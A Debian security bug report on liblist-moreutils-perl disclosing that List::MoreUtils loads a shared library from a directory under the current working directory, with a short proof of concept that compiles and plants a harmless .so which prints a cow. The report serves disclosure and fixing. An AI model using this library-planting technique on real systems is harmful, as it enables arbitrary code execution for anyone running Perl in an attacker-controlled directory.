Bug#829138: liblist-moreutils-perl: tries to load code from cwd

Package: liblist-moreutils-perl
Version: 0.413-1+b1
Tags: security
Control: affects -1 + check-all-the-things

List::MoreUtils tries to load code from a subdirectory of the current 
working directory. This could lead to execution of arbitrary code if 
cwd is untrusted.

Proof of concept:

$ mkdir -p '(eval 1)/auto/List/MoreUtils/'
$ gcc -Wall -fPIC -shared moo.c -o '(eval 1)/auto/List/MoreUtils/MoreUtils.so'
$ perl -e 'no lib "."; use List::MoreUtils'
                 (__)
                 (oo)
           /------\/
          / |    ||
         *  /\---/\
            ~~   ~~
..."Have you mooed today?"...
